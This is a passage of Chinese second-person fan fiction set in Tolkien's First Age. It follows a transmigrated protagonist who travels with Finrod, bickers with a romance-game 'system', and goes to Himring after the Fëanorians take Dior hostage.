你们又走了一段路,在午后太阳最耀眼的时候来到大树下乘凉。 你拿出干粮,还有一小袋早晨采摘的果实,这样的餐点在芬罗德看来着实有些可怜兮兮的,他带来的干粮一看就比你的更可口一些,那是名叫兰巴斯的精灵面包,你之前在精灵的领地上吃过几次,寻常的干粮完全没法和它比。 它的饱腹感很强,你咬了两口,又吃了几颗酸甜的浆果基本上到晚上都不会有什么饥饿感了。 在你吃浆果的时候芬罗德说起之前和妹妹加拉德瑞尔的通信,加拉德瑞尔拥有预知的能力,这一点你也是知道的,她在写给芬罗德的信里提到未来又会有一场风暴席卷精灵。 听他那么说,你就猜测是和索伦还有费诺里安有关的,你在有游历的这段时间里也在搜寻索伦的踪迹,但他可能是吸取了上一任主人魔苟斯的失败经验,所以在离开多瑞亚斯以后就一直躲躲藏藏,隐匿行踪,生怕会被你找上门。 这简直就跟抓老鼠似的,而索伦比老鼠还要小心谨慎,这才是最麻烦的地方。 你说:“我最近确实正在寻找索伦。”只不过你也没太认真找而已,更像是专注旅游偶尔收集关于索伦的情报。 毕竟你都已经替精灵解决魔苟斯了,按理来说索伦就该让他们自己来对付了的,你来异世界可不是来当救世主的啊。 “不过他实在是太狡猾了。”你又补充道。 芬罗德就知道你肯定会为了索伦的事情到处奔波的,尽管你不会承认,但在芬罗德的印象里你总是这样一个人抗下许多,之前对付魔苟斯是这样,现在应对索伦也是这样,他叹息道:“还好我找到了你,我们可以一同应对。” 一听他说这话的语气,你总觉得他似乎误会了什么,你侧过头与他四目相对,他湛蓝色的眼瞳里满是共情。 嗯?嗯? ?不是,这就开始共情了吗? 你愣了一下,又说:“你为什么要用这种眼神看我?” 闻言,芬罗德缓慢地眨了一下眼睛,低声向你道歉,说:“抱歉,是我冒犯到你了吗?” 冒犯倒不至于,就是觉得他又曲解了你的意思。 估计是把你当成了什么孤身拯救世界的救世主。 但你可没有那么高尚的品德,你最擅长的就是睁着眼睛说瞎话了,偏偏你的说谎功力还能骗过许多精灵和人类。 这就导致你现在说实话他们都觉得你是在谦虚。 你说:“我可没有你想的那么好。” “尽管你那么说,但我更相信我自己亲眼所见的事情。” 芬罗德,好犟的一个精灵,典型的认死理的精灵。 你吃完最后一颗浆果,用手帕擦拭手掌,午后的阳光依旧毒辣,你决定还是在树底下再待一会吧。 芬罗德说了很多他自己的事情,你就礼尚往来地也说说自己遇到的事情,你简单地提了一嘴和芬巩的旅行,听到你那么说的芬罗德表情稍显微妙,他好像在尽可能控制自己的表情,让自己看起来没那么在意,更没有嫉妒。 他说:“但为什么后来你又和芬巩分开了呢?”他显然对这个话题更加感兴趣,你耸耸肩,轻描淡写地说:“就是发生了一些事情,然后他要走,我也有别的事情要做,所以就分开了。” 事情真的这么简单吗?芬罗德的直觉告诉他远没有你说的那么简单。 所以是芬巩和你发生了分歧吗?芬罗德下意识地认为这很可能是芬巩自身的问题,完全没有想过你做错了什么。 只能说要是换做他,他大概率是不会和你产生分歧的。 所以芬罗德幽幽地说:“看来芬巩还不知道该怎么和你好好相处,我会和他做出截然不同的选择。” 他这话是什么意思?如果你没有猜错的话,他这是在拉踩吗? 第67章 倘若你见到现在这一幕的话又会是什么感想呢? 你说:“芬巩倒也没有你说的那么糟糕。” 芬罗德不以为然,但也没有反驳你,只是向你递去一条手帕,你接过手帕擦拭唇角,等阳光没那么刺眼了你才站起身,整理自己的衣角,收起行囊。 身侧的芬罗德也随之站起来,你换了个话题,说自己和芬巩分开后还去别的精灵领地上暂住了一段时间。 这样轻飘飘的一句话让芬罗德的心都跟着悬起来了,他还得尽可能地控制着自己的语气,用与寻常无异的语气问道:“是么?也不知道是哪一位精灵领主呢?” 你想了一下埃欧尔既然是辛葛的亲族,而芬罗德又和辛葛是亲戚, 所以四舍五入一下芬罗德应该也和埃欧尔沾亲带故? 好像没毛病,于是你说:“算是你的亲戚吧。” 亲戚?芬罗德更加疑惑了, 但他的疑惑没有持续多久, 因为你下一秒就说:“他的名字是埃欧尔, 是个住在多瑞亚斯之外的精灵,性格嘛……有点孤僻,不过也还算友善吧。”虽然他的友善是建立在你武力值压制的前提下的, 但总的来说你觉得他只是个有点别扭的精灵。 芬罗德听到这个名字还花了点时间在脑海里搜寻关于那个名叫埃欧尔的精灵信息,他当初在多瑞亚斯居住的时候似乎确实听说过埃欧尔的名号,但也只是听说过,未曾见过,而且有关他的评价都是“孤僻难以相处” ,总之算不上什么好话。 他听说的埃欧尔和你说的埃欧尔是同一个精灵吗?芬罗德说:“你是说住在多瑞亚斯外,不怎么欢迎访客的埃欧尔吗?” 这都是比较委婉的说法了,实际上他平等地讨厌大部分访客,哪怕是和多瑞亚斯的精灵关系也一般。 所以,芬罗德也自然而然地认为你说的话是经过美化的,没准那个不怎么喜欢人类的精灵还对你出言不逊,想到这里,芬罗德就问:“真的吗?” “什么?” “我是说,那个埃欧尔真的好好地接待了你吗?”芬罗德补充道。 “当然啊,还有……你那是什么表情?”你奇怪地打量芬罗德的侧脸,尽管他面色如常,但你总能察觉到他身上隐隐散发出的不悦。 该怎么形容呢,有点像是总是摇晃尾巴出现残影的金毛突然不摇尾巴了,那么就显得很奇怪了。 你走出树荫,白马还在远处和芬罗德的黑马玩闹,现在也不着急赶路,所以你就没让白马回到自己身边,而是继续和芬罗德聊天,你说:“你怎么好像在生气?” “生气?不,我没有。”芬罗德当即否认,但他刚才确实有些不悦,这份不悦是针对那个叫做埃欧尔的精灵的,并不是针对你的。 芬罗德知道你的实力强劲,任何冒犯你的精灵也好,人类也好都会被你好好教训一顿,但一想到你被对方用轻蔑的态度对待,他的反应就比你还要激烈,甚至比你还要愤怒。 对芬罗德复杂的内心活动一无所知的你已经跳到下一个话题去了,你说:“我听说辛葛让贝伦从费诺里安手里取走精灵宝钻才允许他追求自己的女儿?” “是的。”这件事情芬罗德也有所耳闻,至于具体的细节他就不清楚了,因为他和费诺里安的关系本就一般,如今又因为你的缘故,那群费诺里安也对他格外提防,所以这些消息都是他道听途说来的。 芬罗德试探性地问道:“那苏尔你要做些什么吗?” 你要做些什么?你只是随口一提而已。 但这件事远没有你说得那么轻描淡写,迈兹洛斯在贝伦盗走其中一颗精灵宝钻后勃然大怒,此时的他早已被誓言折磨得性格愈发偏执,他在希姆凛召集了自己的弟弟,坐在议事厅主位的他说:“如今一个人类盗走了我们父亲的心血,无论如何我们都要将其夺回。” 坐在迈兹洛斯右手边的玛格洛尔感觉到了疲惫,这种疲倦不是身体上的,而是源自内心深处,他的灵魂都感觉到了一丝丝的厌倦。 玛格洛尔说:“夺回了,然后呢?” 这话也是其他几个费诺里安的心声,夺回那颗宝钻又如何呢?他们仍然是被诅咒的,不幸的精灵,痛苦的阴霾始终萦绕在他们的身上,维拉不会原谅他们,伊露维塔更不会,直到最后他们都会厌弃自己。 迈兹洛斯沉默许久,说:“难道要就此放弃吗?” 玛格洛尔耐心劝说道:“这也是为了避免我们犯下更多的错。” 库茹芬说:“错?我们又有什么错?”他不觉得自己做错了什么。 迈兹洛斯重新抬起头,他还是采纳了玛格洛尔的建议,使用更加温和的手段,写信给多瑞亚斯,用商量的口吻让他们交出那颗精灵宝钻,重获宝钻的辛葛别说是仔细看信了,就连那只送信的飞鸽都没能进入多瑞亚斯的领地。 不同于费诺里安那边的压抑气氛,多瑞亚斯迎来了好几件喜事,辛葛对贝伦的表现感到满意,身为君主他自然也不能食言,因此他当着众精灵的面允许贝伦与露西恩的结合,同时也允诺贝伦可以留在多瑞亚斯境内与露西恩相伴。 就在包括露西恩在内的一众精灵都感到喜悦之时,坐在王座旁的王后美丽安却蹙眉,她看见了那充斥着血与泪的未来,在精灵散去后她找到自己的女儿露西恩,握住她的双手,郑重其事地说:“你与贝伦的未来也许是痛苦的。” 露西恩坦然接受,她说:“即便是痛苦也无法让我放弃他。” 见此情形美丽安也知道自己无法阻止这未来,她叹息一口气,用淡淡的哀伤语气说:“我明白了。” 露西恩轻轻地拥抱着自己的母亲,将脑袋靠在她的肩头,动作亲昵,她轻声细语地说:“请别为我伤心。” 身为迈雅的美丽安预见的未来往往都会成真,她作为见证者,看着露西恩与贝伦成婚,他们的孩子迪奥也在多瑞亚斯里茁壮成长。 一切都看似温馨美好。 直到那次外出,美丽安与贝伦带着迪奥离开多瑞亚斯前往附近的草原游猎,这也是迪奥第一次离开出生地,他对周围的一切都充满好奇,甚至都忘却了双亲的呼唤。 他在宽阔的山谷里漫步,呼吸着与多瑞亚斯截然不同的新鲜空气。 作为迈雅和精灵以及人类血脉的后代,大自然也对他有着天生的亲和力,在他即将深入山谷时身边的河流突然变得湍急起来,仿佛在预示着什么,倘若在此刻他立即掉头离开,或许就不会发生接下来的一切。 但命运是难以改变的,在命运中迪奥终究会遇到费诺里安,也终究会被掳走作为人质要挟其父母交出精灵宝钻。 迪奥的脚步突然停下,他的视线被前方的精灵吸引,对方有着一头金色长发,双眼一眨不眨地注视着他,嘴角似乎带笑,但那不是什么友善的笑容,更像是计划得逞的笑容。 迪奥也是后来才知道那个掳走自己的精灵叫做凯勒巩,是迈兹洛斯的弟弟,他带走他也只是为了作为人质。 这个计划凯勒巩并没有事先和迈兹洛斯说过,更像是临时起意,他带着迪奥来到希姆凛,最后找到迈兹洛斯。 “这是?”迈兹洛斯皱着眉,打量着被凯勒巩带过来的小男孩,后者低垂眼帘,尽可能避免与迈兹洛斯视线接触。 凯勒巩说:“是露西恩与贝伦的孩子,同时也是我们的筹码。” 迈兹洛斯脸色变了变,他朝凯勒巩递去一个眼神,示意对方跟自己去一边单独谈谈。 原以为自己做了一件好事的凯勒巩也得意洋洋地跟着迈兹洛斯离开,却不料对方顿时翻了脸,说:“你知道自己在做什么吗?” “我在创造条件让他们交出宝钻,我什么都没做错。”凯勒巩说,他扯了扯嘴角,“我什至还放过了他的父母,难道他不应该感谢我吗!?” 迈兹洛斯深呼吸一口气,戳破凯勒巩的伪装,“你放过他们只不过是因为得要让他们回去传递消息。” “差不多吧。”凯勒巩耸耸肩,他还是觉得自己没做错什么。 “这之间差很多,别想着糊弄过去。” “但是,你不也想要拿回宝钻吗?我都说了他只是人质,又不是让你直接杀死他。”凯勒巩将生死说得轻描淡写。 仿佛他没有直接杀死对方就已经是莫大的恩赐了。 迈兹洛斯不得不承认凯勒巩说得也有一点道理,事已至此,他只能先将那孩子留下来。 “为什么事情会变成这样……”迈兹洛斯喃喃道。 “大概是因为我们已经被维拉抛弃,被命运抛弃,也被她舍弃了吧。”凯勒巩淡淡地说,平淡的语气里夹杂着十足的恨意。 是的,现在的凯勒巩怨恨你,恨你袖手旁观,恨你无动于衷,恨你还能置身事外独留他们那么痛苦。 倘若你见到现在这一幕的话又会是什么感想呢?你估计会觉得他们活该吧,认为他们这是咎由自取吧? 第68章 “你要去的话,我没理由阻止你。” 命运在你不留神的时候悄然转动着,在你和芬罗德追寻索伦的踪迹时,远方的费诺里安内部却发生了一场又一场的争论冲突,这些冲突都围绕着一个主题,那就是该拿这个人质怎么办,凯勒巩和库茹芬达成一致,说是干脆直接切下人质的一部分送到多瑞亚斯去。 “一部分?你说得倒是轻巧。”卡兰希尔说。 “是啊,反正我们又不是没做过这样的事情。”凯勒巩无比坦然,他们早在天鹅港的时候就对自己的亲族动过手,这一次也不过是让历史重演罢了,任何事情都是一回生二回熟的,就连亲族相残也是,凯勒巩不觉得自己做错了什么。 玛格洛尔呵斥道:“够了!” 凯勒巩这才将后面要说的话都咽下去,就是脸上的表情仍旧不怎么服气的样子,他和库茹芬交换一个眼神,倘若不是玛格洛尔阻止的话,他们会毫不犹豫地对迪奥动手的。 这场争论到最后还是得要看迈兹洛斯的意思,其他费诺里安的视线都落在他身上,迈兹洛斯神色凝重,偏偏在这时候他是那么不合时宜地想起你曾经对他说过的话。 他一度对你忏悔,向你坦白自己犯下的罪行,他认为自己这样罪孽深重的精灵不该拥有你的爱,但你却选择了包容,哪怕你现在已经抛弃了他。 可他始终记得你说过的话。 迈兹洛斯沉吟片刻, 看向在场其他的精灵,他们都在等待他的回答。 他说:“不要对他动手。” 关于如何对待人质的争论到此为止,尘埃落定。 可那命运的暗流涌动却远不会为此停歇。 迈兹洛斯在这场短暂的会议后找到那个名叫迪奥的孩子,他一开始来到希姆凛,被一众诺多精灵包围的时候吓得说不出一句完整的话来,如今一段时间过去,他姑且算是适应了这里的生活。 可在见到迈兹洛斯时他还是会发自内心地感到恐惧,那精灵的红发如同凝固的鲜血,他听祖父说过的,费诺里安之首的迈兹洛斯杀害过不少泰勒瑞精灵,他很难保证对方不会杀害自己。 “你在多瑞亚斯的时候每天都会做什么?”迈兹洛斯站在迪奥的房间门口,用平淡的口吻问道,“他们应该会给你上课的吧?” 他问这些做什么?是想要打探多瑞亚斯的内部情况吗?迪奥若有所思,他抬起头飞快地扫了一眼迈兹洛斯,他的眼神里没有可怕的威慑,只是淡淡的疲倦。 他好像很累了,那种疲倦不仅是身体上的,更是从灵魂深处散发出来的。 迪奥说:“偶尔会教一些。”他也不是在同情这个挟持自己的费诺里安,他只是……感觉到了他的哀伤和疲倦而已。 迈兹洛斯又问他学的是什么,后来迪奥才发现对方好像是想教他什么。 只不过他为什么要那么做呢?他早已认清自己是交易筹码的事实,却没想明白对方所作所为的意图是什么。 迪奥如实回答,迈兹洛斯安静地听完他说的话,而后说:“以后我会负责一部分你的课程。” 迈兹洛斯说到做到,他之所以那么做也只是为了减轻自己的负罪感,仿佛这样做就不是在劫持对方,他更像是来希姆凛做客的客人。 他就这样自我欺骗着。 直到某次在给迪奥上课的时候他无意间问起迈兹洛斯好像在思念着谁。 他在思念着谁呢?或许是远在维林诺的母亲奈丹尼尔,又或者是已经魂归曼督斯殿堂的父亲费艾诺,亦或者是离他而去的你。 他所思念的对象都距离他十分遥远,他所能做的也不过是怀念过往,将那些稍显黯淡的回忆画面一遍又一遍地重温。 最后迪奥也没等来迈兹洛斯的回答,他的回应只有长久的沉默。 而另外一边的你和芬罗德刚刚端了一个索伦手底下的情报站,不得不说,索伦搞起情报来还是很有一套的,而且也非常擅长笼络人心,有不少人倒戈追随索伦,那些人守在情报站里不间断地收集着四面八方的情报。 因为都是一些情报人员,所以你和芬罗德解决起来也没花费多少力气,你们还在情报站里找到不少要上报给索伦但因为你们的突袭而没能送出去的情报。 仔细一看,不光是费诺里安各个领地的情况,就连纳国斯隆德的情报也有不少,你询问身边那个纳国斯隆德君主,“对此你有什么头绪吗?” “我之前也能感觉到有一股势力在暗中窥探纳国斯隆德,现在想来从那个时候开始索伦就已经在纳国斯隆德附近布下自己的眼线了吧。” 不光是附近,就连内部也有索伦的接应,你提醒道:“还是快点给安格罗德写信让他好好处理内部藏着的间谍吧。” 芬罗德当即写了一封信,因为事态紧急,他写的字都有些潦草,乍一看那叫一个龙飞凤舞。 等他把信给送出去,此时天色已晚,你不打算再赶路了,索性就在这个情报站里暂时过一晚吧,反正情报站里敌人都已经被你和芬罗德清理得差不多了,就是空气中还漂浮着一股若有若无的血腥味就是了。 但比起直接风餐露宿,还是睡在室内更舒坦一点,你对生活水平的要求不高,可能是因为你游历过许多地方,所以适应能力也在变强。 倒是芬罗德觉得这种地方让你住着实在是太委屈你了,他略带歉意地说:“抱歉,刚才应该下手轻一点的。” 刚才解决那些敌人的时候因为他们一鼓作气攻了过来,所以芬罗德下意识地就用宝剑清扫了敌人,以至于鲜血四溅。 你摆摆手,“问题不大。” 你们坐在一处血腥味没那么浓重的屋子里,架起一口锅,锅子里煮着今天的晚餐,其实就是一锅蔬菜汤,里面还加了点香料。 香料的味道盖过其他的气味,你坐在火堆旁烤火,整个人都暖洋洋的,芬罗德用勺子搅拌蔬菜汤,属于蔬菜的淡淡香味也跟着飘了出来。 你回想起刚才在那一堆情报里看到的另外一条情报就是关于希姆凛的,说是凯勒巩劫持了露西恩与贝伦的孩子,并且将那个孩子送往希姆凛作为人质。 该怎么说呢,这也确实是凯勒巩能做出来的事情,只不过迈兹洛斯的反应让你有些捉摸不透。 在你沉思间,芬罗德盛了一碗蔬菜汤给你,你接过以后说了声谢谢。 芬罗德浅笑道:“你不需要对我说谢谢。” “是因为这样见外吗?”你端着那一碗蔬菜汤对着他笑了一下。 芬罗德坦然承认,“是啊,我希望我们是亲密无间的。” 有的时候芬罗德打直球的技术远在你之上,甚至还会打你个措手不及。 你低头吹开蔬菜汤上面的热气,像是自动略过了这个话题,芬罗德可没打算跳过这个话题,他说:“我知道这很可能只是我的奢望,但现在能和你待在一起我就已经感觉到很幸福了。” ……和你待在一起喝野菜汤也会觉得幸福吗?你顿了顿,心说芬罗德这种行为放在你的上辈子很容易被当成恋爱脑的啊。 而且他说话怎么好像也开始变得肉麻了? 甚至还有点咯噔。 你刚才听到他说这话心里就咯噔了一下。 用勺子喝了一口汤,你提醒道:“汤再不喝的话就要冷了。”看似提醒,实则是让他安静一点。 芬罗德读懂你的意思,也跟着低头认真喝汤。当天晚上你没什么睡意,总觉得是那一碗蔬菜汤里可能有什么提神的成分,你睡不着觉就又开始思考别的东西,你点开好感度面板,心说系统已经好久没上线了,你偶尔也会忘了自己还绑定了一个系统。 说到底都要怪系统消极怠工,不过也正是因为系统好久没上线才给了你钻空子的机会,你安静地欣赏着自己特意控分下的好感度。 基本上每个精灵的好感度都在八九十,没有一个满值的,你猜测很可能是要与对方定下婚约才能让好感度满值,毕竟精灵是非常讲求感情忠诚的种族。 但这样也好,要是随随便便就满值的话你岂不是要不了多久就要滚回现实世界了? 你都还没玩够呢。 “你睡不着吗?”坐在你身侧的芬罗德问道,他的声音听起来也很清醒。 你转过来,和他面对面,说:“你怎么也还没睡?” “我有些高兴得睡不着。” 这有什么好高兴的?你们只是端了索伦一个窝点而已,他就一副兴奋得睡不着的样子,你就说:“为什么高兴?” “大概是和你一起就会感觉到喜悦吧。” 房间中央的火堆还在燃烧着,噼噼啪啪地,偶尔溅出几个火星子,房间里的气氛算得上温馨和谐,你也放松下来。 你说:“如果我说接下来也许我要去见一见迈兹洛斯呢?” 芬罗德不说话了,火光映照在他的脸庞,在他深邃的眉眼间打下一道阴翳,他垂下眼帘,敛去眼底的光芒,说:“你要去的话,我没理由阻止你。” 第69章 “代我向迈兹洛斯问声好吧。” 你侧过头,打量着芬罗德的表情,屋内的火光摇曳,就连他脸上的光影也在朦胧地流动着,你说:“我以为你会阻止我的。” “谁都无法阻止你。”芬罗德说出一个简单的事实, 无论是他还是其他的精灵, 哪怕是迈兹洛斯也难以阻拦你。 所以他能做的就只是接受而已。 你伸出手,手指勾起一缕他的长发,缠绕在你的指尖,芬罗德说话就是那么贴心,你笑盈盈地说:“你说得很对。” 虽然你嘴上说着打算去看看迈兹洛斯,但实际上你还没有想好,刚才的想法也只是你心血来潮而已。 夜聊就是会越聊越精神,到后面你是彻底没了睡意,脑袋里想着一些不着边际的事情,突然间你的脑海里跳出一道熟悉的声音。 你的系统上线了。 那么突然的吗?你还以为自己绑定的系统这是彻底下线了呢。 系统才上线没两秒就发出尖锐爆鸣。 【你都做了什么啊! ! ! 】 你用棒读的语气回答。 【没什么啊,就是做了我该做的事情。 】 什么叫做你该做的事情?从系统的视角来看,你在它下线的这段时间里把魔苟斯给解决了,精灵对你又爱又恨,虽然好感度看起来没什么问题,但主要是那怨恨也与喜爱相伴相生,更别提你之前做过的强取豪夺的事情了。 系统沉默了几秒,你还以为系统又要下线了呢, 就问【你又要下线了吗? 】 【我只是在思考。 】 哦, 那它就慢慢思考,你没再主动打扰殴打系统, 单方面冷暴力它。 后面系统又忍不住问道:【你, 你……我之前绑定你的时候你看上去还很老实巴交的啊。 】 【怎么,没见过无色无味但剧毒的老实人吗? 】你还有心思和系统掰扯。 系统被你噎了一下,只能反思自己是不是当初看走了眼。 但事已至此,应该还有挽回的余地,于是系统又开始说服你把那些临门一脚的好感度给刷满,甚至还提议你可以来一两次死遁,但是都被你想都不想地就拒绝了。 系统还不死心地追着问为什么。 【死遁几次的话你就可以完成任务啦,你难道不想回去吗?这里终究不是你的世界啊。 】 你想了一下,回答道:【比起回到现实世界被无良上司压榨吸血被同事背刺然后三十五岁被优化的生活,无论怎么看都是在这个世界为所欲为更让人身心舒畅吧? 】 你从系统的沉默中读出几分茫然和无措,估计它也没料到最后会是这个情况。 【不对啊,怎么会有人不想回到自己的世界啊? 】系统开始茫然的碎碎念了。 要不是系统没有实体,估计你现在就该伸手拍拍它的肩膀安慰它工作途中发生意外情况都是很正常的事情。 你勉为其难地安慰系统,【接受现实吧。 】 系统还是有些无法接受,最后你只能再次冷处理系统了。 但不得不说,和系统聊了几句后你居然还产生了几分困意,后面不知不觉间就睡了过去,等再次醒来的时候已经是第二天的早晨了。 芬罗德正坐在你身侧静悄悄地梳理自己的长发,他的金发柔顺蓬松,在清晨阳光的照耀下散发着莹莹的光芒,精灵向来喜欢打理自己的头发,不是简单的梳理头发,而是给自己编发,手艺精巧。 你侧躺着,安静地凝视着他的侧影,在他编织侧边的头发时察觉到你的视线,就对你笑了一下,说:“醒了?我以为你还要再睡一会的,是我吵醒你了吗?” 他还是一如既往地喜欢在自己身上找原因,你说:“没有,你很安静。” 芬罗德又问:“需要我为你打理头发吗?” 你可没有精灵那么讲究,常年的发型都是高马尾,都快变成你的半永久装扮了。 扎高马尾实在是方便,半分钟不到就能解决发型问题,但你今天也不着急赶路,而且是芬罗德主动提议的,你就答应了,说:“好吧,那就麻烦你了。” 说着,你背对着他坐起来,芬罗德用手指轻巧地梳理你的头发,可能是因为你在这个世界不需要操心工作的事情,也没有什么生活压力,每天都吃好喝好,在上辈子一直困扰着你的脱发问题反而解决,不光是不脱发了,就连发质也变得柔顺丝滑。 从这一点就足以看出你在这个异世界过得有多开心,所以你就更加不可能努力完成任务了。 本来系统还会用亲人朋友来劝说你,看你不为所动,就换了种方法威胁你,你直接摆烂,对系统说:【随便吧,你要抹杀我也可以,但前提是你得能做到,我猜你大概率是做不到的吧?否则也不会说那么多有的没的。 】 还真是被你给猜中了,系统真的哑口无言,它暂时选择安静地旁观。 看见芬罗德专心致志地给你梳理头发,系统又说你难道没有特别喜欢的精灵吗?难道就不想和他结婚吗? 闻言,你忍不住笑出声,芬罗德略带疑惑地问道:“怎么了?” 你小幅度地摆了摆手,说:“没什么。” 刚才系统说这话的时候难道自己都不觉得好笑吗?你听了以后还以为它是在开玩笑呢。 结婚是不可能结婚的,而且你都已经能够预见到倘若和芬罗德成婚,对方的粘人程度估计也会变本加厉,所以你为什么要做一些给自己添麻烦的事情呢?这不是搬起石头砸自己的脚吗? 所以你果断拒绝了系统的提议。 系统这下子是彻底没辙了,学着你的样子也开始摆烂。 芬罗德心灵手巧,给你编了个看上去就很复杂的发型,甚至还顺手给你戴上自己的发饰,他的手指掠过你的耳廓,说:“这不用还了。” 你透过镜子看到自己和芬罗德的面容,他坐在你的身后,眼神依依不舍,最后将脑袋靠在你的肩头,问道:“你会在希姆凛停留很久吗?到时候需要我去接你吗?”要是让他来接的话估计他和迈兹洛斯又要起冲突,毕竟之前他们也不是没有打过架。 精灵扯头花这种事情看个一次两次的还会觉得新鲜,但次数多了你都有点审美疲劳了,因此你说:“不用了,我还有别的安排。” 芬罗德呼出的气息轻飘飘的,但他的心情却莫名变得沉重,他说:“那我在你的安排里吗?” 你也感受到了那份沉重,指的是感情上的沉重。 “这个啊……我还没想好呢。”你都开始思考要不要学着像埃欧尔那样避世而居一段时间,就当是避避风头,等他们差不多把你给忘了,估计就没那么麻烦了。 又或者是直接把这些精灵都打包送回老家,这样一切问题都迎刃而解。 但打包精灵也是个大工程,所以在权衡利弊下你还是选择避世而居,这实践起来难度没有前者那么高。 你伸手抚摸芬罗德的头发,说:“你在撒娇吗?” 芬罗德用脸颊蹭了蹭你的脖颈,声音是含糊不清的,他说:“算是吧。” 你耐着性子维持这幅状态好一会,感觉时间差不多了你才说:“可以放手了吗?” “但我不想放手。” 这话一语双关,既像是在说他现在不想松手,又像是在说他日后也不会放手的。 果然还是避世而居比较好,你愈发坚定自己的选择。 最后芬罗德还是松开手,你们用过早餐以后就要分道扬镳,在最后要分开的时候他用恳请的语气问道:“你还有什么话要对我说的吗?” 你想了一下,说:“回纳国斯隆德吧,索伦的事情你不用管。” “不,在这件事情上我也有一部分的责任,我不可能逃避自己的责任。”芬罗德坚定地说。 你合理怀疑他就是在和你对着干,你不让他做什么他就偏要做什么。 幼稚,他怎么现在变得这么幼稚了? 你无奈地叹息一口气,“我已经提醒过你了,索伦擅长心理战,你和他对上没有太多的优势。” 主要是芬罗德这个精灵太过正直善良,压根就想不到索伦这家伙要是玩阴的能有多阴险狡诈。 芬罗德笑着说:“我能理解为你这是在关心我吗?” “不用那么复杂的理解,我就是在关心你。” 再怎么说芬罗德也是你遇见的精灵里还算善解人意的一个,要是他死了估计你也会难过的吧,你也不是那种别扭的人,不至于拐弯抹角地表达自己的真实想法,你大大方方地和他说起真心话,你说:“如果你死了的话,我会觉得很可惜的。” 芬罗德的眼睛变得亮晶晶的,就连唇角的笑容也跟着加深,他说:“啊……听到这句话,我死而无憾。” 不要提前给自己立flag啊! “那么,我会期待和你的下次见面的。”芬罗德握住你的双手,“代我向迈兹洛斯问声好吧。” 你挑起一边的眉毛,“你这不是存心想要气他吗?” “这都被你发现了吗?”芬罗德说道。 第70章 “走?希姆凛是你想来就来想走就走的地方吗?” 芬罗德笑而不语, 最后你们挥手告别。 在和芬罗德分别后系统又冒出来,疑惑地问你的接下来去希姆凛要做什么,它真是怕了你了,唯恐你是去找茬的,它还提醒你现在的迈兹洛斯对你的好感度虽然不低,但也对你充满怨恨。 【所以如果你现在去希姆凛的话大概率会和他起冲突。 】它只是一个恋爱攻略系统,根本就没想过除了恋爱以外的东西, 而且当初就是因为看你性格可靠它才暂时下线一段时间的,那个时候它绝不会想到自己会被你摆一道。 事已至此,它只能尽可能地避免出现更多的纷争。 【要是宿主你直接死遁的话或许局面还有挽救的可能。 】 系统又在劝说你死遁了,听系统说这话的语气, 搞得死遁就像是可以批发的东西似的,你说:“难道我就不能不死吗?” “等我处理好手头的事情就要去避世而居了。”你接着又说。 【啊, 我知道, 就是玩失踪对吧?嗯嗯, 这个也可以推进感情发展哦! 】 你扯了扯嘴角,算了,它毕竟是个恋爱系统, 你也不能奢求太多, 而且它不也给了你便利的金手指吗, 所以你这次没反驳,只是含糊不清地说:“差不多吧。” 实际上差多了,你那么做就是单纯想要自己耳根清净地住一段时间而已,和推进感情压根不沾边。 但后者显然更加容易被系统理解,而你也懒得解释了,就让它这么认为吧。 在去往希姆凛的路上你偶尔会和系统聊几句, 大部分时候都是系统在询问你, 而你呢,心情好就回复一两句,心情不好就装没听见。 这不是你第一次去希姆凛了,在此之前你就去过几次,都是带着不同的目的去的,现在也是。 倘若诺多精灵和泰勒瑞精灵再打起来,这片大陆只会变得更加混乱,你很难不保证索伦不会从中浑水摸鱼,按照他的性格肯定会的,所以你这才打算去找迈兹洛斯商量一下的,至于为什么不去多瑞亚斯,原因也很简单,那就是比起迈兹洛斯,辛葛脾气上来了那就是真的听不懂人话。 所以相较之下你反而认为从迈兹洛斯入手会方便一点,再怎么说他和你的关系也没到剑拔弩张的地步,而且倘若你的态度温和一些对方应该也能听进去你说的话。 在真的见到迈兹洛斯之前你是这么想的,但预设是一回事,现实又是另外一回事了。 因为你都没有在路上耽搁多少时间,基本上都在赶路,用最快的速度来到希姆凛,你抵达希姆凛边境的那一天阴雨连绵。 天气也会对你的心情产生影响,这种阴冷的天气也莫名给你一种不祥的预感。 这种预感在抵达希姆凛的精灵宫殿时应验了,你最先见到的不是迈兹洛斯而是玛格洛尔,他的面容和你记忆中的没什么变化,唯一变的是那神情,他说:“你怎么来了?” 嗯?他是在抵触你的到来吗? “我来看看迈兹洛斯。”你说。 语气轻松得好像什么都没有发生过,你没有厌弃他们,更没有抛弃他们。 你为什么能够想来就来想走就走,那么随心所欲好像一切都只是一场游戏呢? 玛格洛尔尽可能用恶劣的态度对待你,但是他忽然发现自己好像做不到,只是与你四目相对,只是和你面对面,他就无法说出难听的话,最后他只是轻飘飘地说:“你不该来这里的,迈兹洛斯他……变得已经不像他了。” 作为提前了解过来龙去脉的人你了然道:“我知道,因为精灵宝钻的誓言反噬对吗?” 在你的注视下玛格洛尔摇了摇头,“不仅仅是誓言……” 还没等他把话说完,一阵脚步声就打断他的后半句话,一时间你和玛格洛尔纷纷朝着脚步声传来的方向看去。 披散在肩头的如火红发,来的是迈兹洛斯。 大概是已经提前听说了你来这里的风声,所以他见到你的时候不算多惊讶,面色冷淡,甚至还带着几分隐约的怨恨,你对他挥挥手,说:“麦提莫,好久不见了。” 听你如此称呼自己,迈兹洛斯那波澜不惊的脸上浮现出一丝波澜,又像是完美的水晶表面出现裂痕,然后裂痕越来越多,他说:“谁允许你这么称呼我的?” 果然,你就知道他对你的态度不会好到哪里去,你对此适应良好,说:“好吧,那迈兹洛斯,我们好久没见了。” 看似是你的妥协让步,实则你一直都是游刃有余的那一个,你不会像他那样在乎你的心情。 你根本就不在乎他,所以才能那么随意地改变称呼。 想到这里,迈兹洛斯的幽怨程度就又加深了一点,他自己都还没意识到这一点,他说:“好久?原来你也知道已经过去很长一段时间了吗?” ……你突然就有种自己在和凯勒巩对话的错觉,你不免愣了一下,说:“你还好吗?” 脑袋真的没有出问题吗?这才是你真正想问的,但太直接,唯恐真的说出口对方会炸毛,所以你就尽可能说得委婉一些。 迈兹洛斯扯了扯嘴角,露出一个笑容,那是很明显的冷笑,他说:“我都不知道原来你还会关心我啊。” 真麻烦,你是来解决问题的,可不是来受气的,再者说了,你也没觉得自己做错了什么,所以你直接越过迈兹洛斯的问题对玛格洛尔说:“我知道你们劫持了露西恩的孩子,他现在还好吗?” 玛格洛尔说:“你就是因为这个过来的吗?” 那不然呢,总不可能是真的来叙旧的吧,而且他刚才应该也已经看到了你和他的哥哥寒暄换来的是什么吧? 